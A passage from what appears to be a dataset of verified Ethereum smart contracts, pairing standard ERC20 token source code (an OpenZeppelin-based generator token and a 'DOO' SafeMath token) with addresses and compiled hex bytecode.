d5b50813567ffffffffffffffff811115611b2257600080fd5b602083019150836001820283011115611b3a57600080fd5b9250929050565b6000601f82018313611b5257600080fd5b8135611b60611a4e826124fa565b91508082526020830160208301858383011115611b7c57600080fd5b611b8783828461255c565b50505092915050565b60006101808284031215611ba357600080fd5b611bae6101806124b2565b90506000611bbc8484611a23565b8252506020611bcd84848301611a23565b6020830152506040611be184828501611a23565b6040830152506060611bf584828501611a23565b6060830152506080611c0984828501611cd9565b60808301525060a0611c1d84828501611cd9565b60a08301525060c0611c3184828501611cd9565b60c08301525060e0611c4584828501611cd9565b60e083015250610100611c5a84828501611cd9565b61010083015250610120611c7084828501611cd9565b6101208301525061014082013567ffffffffffffffff811115611c9257600080fd5b611c9e84828501611b41565b6101408301525061016082013567ffffffffffffffff811115611cc057600080fd5b611ccc84828501611b41565b6101608301525092915050565b60006107ba8235612559565b600060208284031215611cf757600080fd5b6000611d038484611a23565b949350505050565b60008060008060008060c08789031215611d2457600080fd5b863567ffffffffffffffff811115611d3b57600080fd5b611d4789828a01611a9b565b965050602087013567ffffffffffffffff811115611d6457600080fd5b611d7089828a01611a2f565b955050604087013567ffffffffffffffff811115611d8d57600080fd5b611d9989828a01611a9b565b945050606087013567ffffffffffffffff811115611db657600080fd5b611dc289828a01611a2f565b9350506080611dd389828a01611cd9565b92505060a0611de489828a01611a23565b9150509295509295509295565b600080600080600080600060e0888a031215611e0c57600080fd5b873567ffffffffffffffff811115611e2357600080fd5b611e2f8a828b01611a9b565b9750506020611e408a828b01611cd9565b965050604088013567ffffffffffffffff811115611e5d57600080fd5b611e698a828b01611a2f565b955050606088013567ffffffffffffffff811115611e8657600080fd5b611e928a828b01611a9b565b945050608088013567ffffffffffffffff811115611eaf57600080fd5b611ebb8a828b01611a2f565b93505060a0611ecc8a828b01611cd9565b92505060c0611edd8a828b01611a23565b91505092959891949750929550565b600080600060408486031215611f0157600080fd5b833567ffffffffffffffff811115611f1857600080fd5b611f2486828701611af8565b93509350506020611f3786828701611cd9565b9150509250925092565b611f4a81612540565b82525050565b602381527f44454641554c545f46554e4354494f4e5f574554485f434f4e54524143545f4f60208201527f4e4c590000000000000000000000000000000000000000000000000000000000604082015260600190565b601181527f494e56414c49445f4d53475f56414c5545000000000000000000000000000000602082015260400190565b600d81527f4f564552534f4c445f5745544800000000000000000000000000000000000000602082015260400190565b601181527f55494e543235365f554e444552464c4f57000000000000000000000000000000602082015260400190565b602681527f475245415445525f4f525f455155414c5f544f5f33325f4c454e4754485f524560208201527f5155495245440000000000000000000000000000000000000000000000000000604082015260600190565b601081527f4449564953494f4e5f42595f5a45524f00000000000000000000000000000000602082015260400190565b601081527f55494e543235365f4f564552464c4f5700000000000000000000000000000000602082015260400190565b601781527f554e535550504f525445445f41535345545f50524f5859000000000000000000602082015260400190565b600f81527f5452414e534645525f4641494c45440000000000000000000000000000000000602082015260400190565b601481527f434f4d504c4554455f46494c4c5f4641494c4544000000000000000000000000602082015260400190565b601a81527f494e53554646494349454e545f4554485f52454d41494e494e47000000000000602082015260400190565b601381527f4f4e4c595f434f4e54524143545f4f574e455200000000000000000000000000602082015260400190565b601881527f4645455f50455243454e544147455f544f4f5f4c415247450000000000000000602082015260400190565b602681527f475245415445525f4f525f455155414c5f544f5f32305f4c454e4754485f524560208201527f5155495245440000000000000000000000000000000000000000000000000000604082015260600190565b602581527f475245415445525f4f525f455155414c5f544f5f345f4c454e4754485f52455160208201527f5549524544000000000000000000000000000000000000000000000000000000604082015260600190565b600e81527f494e56414c49445f414d4f554e54000000000000000000000000000000000000602082015260400190565b805160808301906122f9848261232e565b50602082015161230c602085018261232e565b50604082015161231f604085018261232e565b50606082015161161560608501825b611f4a81612559565b602081016107bd8284611f41565b606081016123538286611f41565b6123606020830185611f41565b611d03604083018461232e565b6040810161237b8285611f41565b6110e0602083018461232e565b602080825281016107bd81611f50565b602080825281016107bd81611fa6565b602080825281016107bd81611fd6565b602080825281016107bd81612006565b602080825281016107bd81612036565b602080825281016107bd8161208c565b602080825281016107bd816120bc565b602080825281016107bd816120ec565b602080825281016107bd8161211c565b602080825281016107bd8161214c565b602080825281016107bd8161217c565b602080825281016107bd816121ac565b602080825281016107bd816121dc565b602080825281016107bd8161220c565b602080825281016107bd81612262565b602080825281016107bd816122b8565b610100810161249782856122e8565b6110e060808301846122e8565b602081016107bd828461232e565b60405181810167ffffffffffffffff811182821017156124d157600080fd5b604052919050565b600067ffffffffffffffff8211156124f057600080fd5b5060209081020190565b600067ffffffffffffffff82111561251157600080fd5b506020601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160190565b73ffffffffffffffffffffffffffffffffffffffff1690565b90565b828183375060009101525600a265627a7a7230582076ce1ed59f6dd5de03ee4017dd4971a73daa3b9a0d6c0ca3eda79d0ab9471e286c6578706572696d656e74616cf50037
[ 1, 5 ]
0xF376C4481DE5D72e6827e5EBcAf3A9EDAe3d07Cd
// SPDX-License-Identifier: MIT /* * Token has been generated using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor(string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.2.0") { constructor( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e9919061083d565b60405180910390f35b610105610100366004610813565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107d7565b6102a4565b604051601281526020016100e9565b610105610157366004610813565b610353565b6100dc61038f565b610119610172366004610782565b6001600160a01b031660009081526020819052604090205490565b6100dc61039e565b6100dc6103be565b6101056101ab366004610813565b6103cd565b6101056101be366004610813565b610466565b6101196101d13660046107a4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108b8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610473565b50600192915050565b60006102b1848484610597565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103488533858403610473565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061038a908690610892565b610473565b60606005805461020b906108b8565b60606040518060600160405280602f81526020016108f4602f9139905090565b60606004805461020b906108b8565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561044f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b61045c3385858403610473565b5060019392505050565b600061029b338484610597565b6001600160a01b0383166104d55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b0382166105365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b03821661065d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061070c908490610892565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161075891815260200190565b60405180910390a350505050565b80356001600160a01b038116811461077d57600080fd5b919050565b60006020828403121561079457600080fd5b61079d82610766565b9392505050565b600080604083850312156107b757600080fd5b6107c083610766565b91506107ce60208401610766565b90509250929050565b6000806000606084860312156107ec57600080fd5b6107f584610766565b925061080360208501610766565b9150604084013590509250925092565b6000806040838503121561082657600080fd5b61082f83610766565b946020939093013593505050565b600060208083528351808285015260005b8181101561086a5785810183015185820160400152820161084e565b8181111561087c576000604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108b357634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806108cc57607f821691505b602082108114156108ed57634e487b7160e01b600052602260045260246000fd5b5091905056fe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a2646970667358221220a398ccb4b8ea3f8168f4bca5a36e5a8a694cd1f42d58a7055f6cdbc0a5012ccf64736f6c63430008070033
[ 38 ]
0xf378980D51932c06c17C1516f310C266E612a649
pragma solidity ^0.4.24; // SPDX-License-Identifier: Unlicensed //Safe Math Interface contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } //ERC Token Standard #20 Interface contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } //Contract function to receive approval and execute function in one call contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } //Actual token contract contract DOOToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "DOO"; name = "A Thinkers Origin"; decimals = 18; _totalSupply = 888888888888888000000000000000000; balances[0x38e909Cf2D4b52b0aBA45b337324692fb4FA0aCF] = _totalSupply; emit Transfer(address(0), 0x38e909Cf2D4b52b0aBA45b337324692fb4FA0aCF, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce567146102855780633eaaf86b146102b657806370a08231146102e157806395d89b4114610338578063a293d1e8146103c8578063a9059cbb14610413578063b5931f7c14610478578063cae9ca51146104c3578063d05c78da1461056e578063dd62ed3e146105b9578063e6cb901314610630575b600080fd5b3480156100ec57600080fd5b506100f561067b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610719565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61080b565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610856565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610ae6565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c257600080fd5b506102cb610af9565b6040518082815260200191505060405180910390f35b3480156102ed57600080fd5b50610322600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aff565b6040518082815260200191505060405180910390f35b34801561034457600080fd5b5061034d610b48565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038d578082015181840152602081019050610372565b50505050905090810190601f1680156103ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d457600080fd5b506103fd6004803603810190808035906020019092919080359060200190929190505050610be6565b6040518082815260200191505060405180910390f35b34801561041f57600080fd5b5061045e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c02565b604051808215151515815260200191505060405180910390f35b34801561048457600080fd5b506104ad6004803603810190808035906020019092919080359060200190929190505050610d8b565b6040518082815260200191505060405180910390f35b3480156104cf57600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610daf565b604051808215151515815260200191505060405180910390f35b34801561057a57600080fd5b506105a36004803603810190808035906020019092919080359060200190929190505050610ffe565b6040518082815260200191505060405180910390f35b3480156105c557600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102f565b6040518082815260200191505060405180910390f35b34801561063c57600080fd5b5061066560048036038101908080359060200190929190803590602001909291905050506110b6565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107115780601f106106e657610100808354040283529160200191610711565b820191906000526020600020905b8154815290600101906020018083116106f457829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006108a1600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061096a600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a33600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110b6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bde5780601f10610bb357610100808354040283529160200191610bde565b820191906000526020600020905b815481529060010190602001808311610bc157829003601f168201915b505050505081565b6000828211151515610bf757600080fd5b818303905092915050565b6000610c4d600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd9600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110b6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d9b57600080fd5b8183811515610da657fe5b04905092915050565b600082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffff